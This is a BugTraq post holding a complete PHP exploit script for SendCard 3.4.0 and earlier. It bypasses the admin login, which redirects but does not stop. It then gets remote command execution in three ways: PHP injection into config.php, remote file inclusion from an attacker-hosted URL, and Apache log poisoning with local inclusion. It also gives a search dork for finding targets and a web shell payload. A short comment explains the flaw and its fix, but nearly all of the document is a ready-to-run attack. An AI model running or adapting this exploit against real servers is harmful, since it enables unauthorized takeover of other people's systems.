BugTraq
SendCard <= 3.4.0 unauthorized administrative access / remote commands execution Aug 03 2006 12:49PM
rgod autistici org
#!/usr/bin/php -q -d short_open_tag=on

<?

echo "SendCard <= 3.4.0 unauthorized administrative access / remote commands\n";

echo "execution exploit\n";

echo "by rgod rgod (at) autistici (dot) org [email concealed]\n";

echo "site: http://retrogod.altervista.org\n";

echo "dork: \"Powered by sendcard - an advanced PHP e-card program\"\n\n";

if ($argc<4) {

echo "Usage: php ".$argv[0]." host path action [location] [cmd] OPTIONS\n";

echo "host: target server (ip/hostname)\n";

echo "path: path to sendcard\n";

echo "action: 1 -> php injection\n";

echo " works against magic_quotes_gpc=Off\n";

echo " 2 -> arbitrary remote inclusion\n";

echo " works against allow_url_fopen=On\n";

echo " 3 -> arbitrary local inclusion\n";

echo " works regardless of php.ini settings\n";

echo " and if you succeed to include Apache logs\n";

echo " 4 -> read phpinfo()\n";

echo "[location] a remote http location with the code to include\n";

echo " needed by 2, with an ending slash\n";

echo "[cmd]: a shell command, needed by 1-3\n";

echo "Options:\n";

echo " -p[port]: specify a port other than 80\n";

echo " -P[ip:port]: specify a proxy\n";

echo "Example:\n";

echo "php ".$argv[0]." localhost /sendcard/ 1 ls -la\n";

echo "php ".$argv[0]." localhost /sendcard/ 2 http://somehost.com/ ls -la\n";

echo "php ".$argv[0]." localhost /sendcard/ 3 ls -la\n";

echo "php ".$argv[0]." localhost /sendcard/ 4 > phpinfo.html\n";

echo "php ".$argv[0]." localhost /sendcard/ 4 -p81> phpinfo.html\n";

echo "php ".$argv[0]." localhost /sendcard/ 4 -P1.1.1.1:80 > phpinfo.html\n";

echo "note: for action 2 you need this code in http://somehost.com/sendcard_setup.php/index.html :\n";

echo "<?php set_time_limit(0);echo 'sun-tzu';passthru(\$_SERVER(\"HTTP_CLIENT_IP\");echo 'sun-tzu';die;?>\n";

die;

}

/*

software site: http://www.sendcard.org/

vulnerable code in admin/prepend.php near lines 32-34:

[*]

...

if(!isset($_SESSION['session']["password"]) || $_SESSION['session']["password"] != ADMIN_PASSWORD) {

header("Location: login.php?redirect=" . basename($_SERVER['PHP_SELF']));

}

...

should be instead:

[**]

...

if(!isset($_SESSION['session']["password"]) || $_SESSION['session']["password"] != ADMIN_PASSWORD) {

header("Location: login.php?redirect=" . basename($_SERVER['PHP_SELF']));

die; // <---------------------[! ;)]

}

...

[*] is included by all scripts in admin/ folder

this means that maybe redirection works if you try to access the admin scripts

through the browser... but what happens if you do the bad work through a script? eheheheheheh

so you can have access to all admin scripts to...

(1) inject php code in config.php through admin/setup.php script,

this works fine with magic_quotes_gpc = Off

(2) inject an arbitrary http location in config.php and go to admin/mod_stats.php

to include evil code from it, this works with allow_url_fopen=On

(3) include an arbitrary file from local resource thorugh admin/mod_stats.php,

ex: apache logs, this works regardless of php.ini settings...

(4) see phpinfo() through admin/mod_phpinfo.php to choose which exploitation method

is better eheheheheheheh

*/

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

}

return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

}

$c=4;$host=$argv[1];$path=$argv[2];$action=(int)$argv[3];

if ($action==2) {$location=$argv[4]; $c=5;}$cmd="";$port=80;$proxy="";

for ($i=$c; $i<$argc; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if ($action<>4)

{

if (($temp<>"-p") and ($temp<>"-P"))

{$cmd.=" ".$argv[$i];}

}

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

if ($action==1)

{

$shell='suntzu");set_time_limit(0);echo "sun-tzu";passthru($_SERVER["HTTP_CLIENT_IP"]);echo "sun-tzu";die("suntzu';

$data="-----------------------------7d529a1d23092a\r\n";

$data.="Content-Disposition: form-data; name=\"cfg_docroot\";\r\n";

$data.="Content-Type:\r\n\r\n";

$data.="$shell\r\n";

$data.="-----------------------------7d529a1d23092a--\r\n";

$packet="POST ".$p."admin/setup.php?save=1 HTTP/1.0\r\n";

$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

sleep(1);

$packet="GET ".$p."admin/config.php HTTP/1.0\r\n";

$packet.="CLIENT-IP: $cmd\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

if (strstr($html,"sun-tzu"))

{

echo "exploit succeeded...\n";

$temp=explode("sun-tzu",$html);

die($temp[1]);

}

else

{

echo "exploit failed...";

//debug

//echo $html;

}

}

elseif ($action==2)

{

$data="-----------------------------7d529a1d23092a\r\n";

$data.="Content-Disposition: form-data; name=\"cfg_docroot\";\r\n";

$data.="Content-Type:\r\n\r\n";

$data.="$location\r\n";

$data.="-----------------------------7d529a1d23092a--\r\n";

$packet="POST ".$p."admin/setup.php?save=1 HTTP/1.0\r\n";

$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

$packet="GET ".$p."admin/mod_stats.php HTTP/1.0\r\n";

$packet.="CLIENT-IP: $cmd\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

if (strstr($html,"sun-tzu"))

{

echo "exploit succeeded...\n";

$temp=explode("sun-tzu",$html);

die($temp[1]);

}

else

{

//debug

echo $html;

echo "exploit failed...see html to adjust the path...";

}

}

elseif ($action==3)

{

$CODE="<?php set_time_limit(0);echo chr(115).chr(117).chr(110).chr(45).chr(116).chr(122).chr(117);passthru(\
$_SERVER[HTTP_CLIENT_IP]);echo chr(115).chr(117).chr(110).chr(45).chr(116).chr(122).chr(117);die;?>";

$packet="GET ".$p.$CODE." HTTP/1.1\r\n";

$packet.="User-Agent: ".$CODE."\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: close\r\n\r\n";

#debug

#echo quick_dump($packet);

sendpacketii($packet);

sleep(2);

$paths= array (

"../../../../../../../../../../var/log/httpd/access_log",

"../../../../../../../../../../var/log/httpd/error_log",

"../apache/logs/error.log",

"../apache/logs/access.log",

"../../apache/logs/error.log",

"../../apache/logs/access.log",

"../../../apache/logs/error.log",

"../../../apache/logs/access.log",

"../../../../apache/logs/error.log",

"../../../../apache/logs/access.log",

"../../../../../apache/logs/error.log",

"../../../../../apache/logs/access.log",

"../logs/error.log",

"../logs/access.log",

"../../logs/error.log",

"../../logs/access.log",

"../../../logs/error.log",

"../../../logs/access.log",

"../../../../logs/error.log",

"../../../../logs/access.log",

"../../../../../logs/error.log",

"../../../../../logs/access.log",

"../../../../../../../../../../etc/httpd/logs/acces_log",

"../../../../../../../../../../etc/httpd/logs/acces.log",

"../../../../../../../../../../etc/httpd/logs/error_log",

"../../../../../../../../../../etc/httpd/logs/error.log",

"../../../../../../../../../../var/www/logs/access_log",

"../../../../../../../../../../var/www/logs/access.log",

"../../../../../../../../../../usr/local/apache/logs/access_log",

"../../../../../../../../../../usr/local/apache/logs/access.log",

"../../../../../../../../../../var/log/apache/access_log",

"../../../../../../../../../../var/log/apache/access.log",

"../../../../../../../../../../var/log/access_log",

"../../../../../../../../../../var/www/logs/error_log",

"../../../../../../../../../../var/www/logs/error.log",

"../../../../../../../../../../usr/local/apache/logs/error_log",

"../../../../../../../../../../usr/local/apache/logs/error.log",

"../../../../../../../../../../var/log/apache/error_log",

"../../../../../../../../../../var/log/apache/error.log",

"../../../../../../../../../../var/log/access_log",

"../../../../../../../../../../var/log/error_log"

);

for ($i=0; $i<count($paths); $i++)

{

echo "trying with $paths[$i] for plugin_file argument\r\n";

$packet="GET ".$p."admin/mod_plugins.php HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="CLIENT-IP: $cmd\r\n";

$packet.="Cookie: plugin_file=".urlencode($paths[$i]).";\r\n";

$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

if (strstr($html,"sun-tzu"))

{

echo "exploit succeeded...\n\n";

$temp=explode("sun-tzu",$html);

echo $temp[1]; die;

}

}

//if you are here...

die("exploit failed...");

}

elseif ($action==4)

{

$packet="GET ".$p."admin/mod_phpinfo.php HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

$temp=explode("<!DOCTYPE",$html); //remove http headers

echo "<!DOCTYPE".$temp[1];

}

else echo ("specify an action [1-4]...");

?>

original url: http://retrogod.altervista.org/sendcard_340_xpl.html

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